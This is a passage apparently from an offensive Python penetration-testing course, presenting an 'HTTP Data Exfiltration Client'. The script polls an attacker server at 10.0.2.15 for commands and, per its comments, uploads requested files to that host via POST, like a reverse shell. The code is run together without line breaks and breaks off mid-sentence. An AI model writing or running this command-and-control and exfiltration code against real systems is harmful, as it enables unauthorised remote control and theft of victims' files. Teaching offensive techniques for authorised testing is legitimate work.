Thankfully, the Requests library supports submitting a file in just two lines:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved # Follow me on LinkedIn https://jo.linkedin.com/in/python2# HTTP Data Exfiltration Clientimport requests import subprocess import osimport timewhile True: req = requests.get('http://10.0.2.15') command = req.text if 'terminate' in command: break # end the loop# Now similar to what we have done in our TCP reverse shell, we check if file exists in the first place, if not then we # notify our attacker that we are unable to find the file, but if the file is there then we will :-# 1.Append /store in the URL# 2.Add a dictionary key called 'file'# 3.requests library use POST ...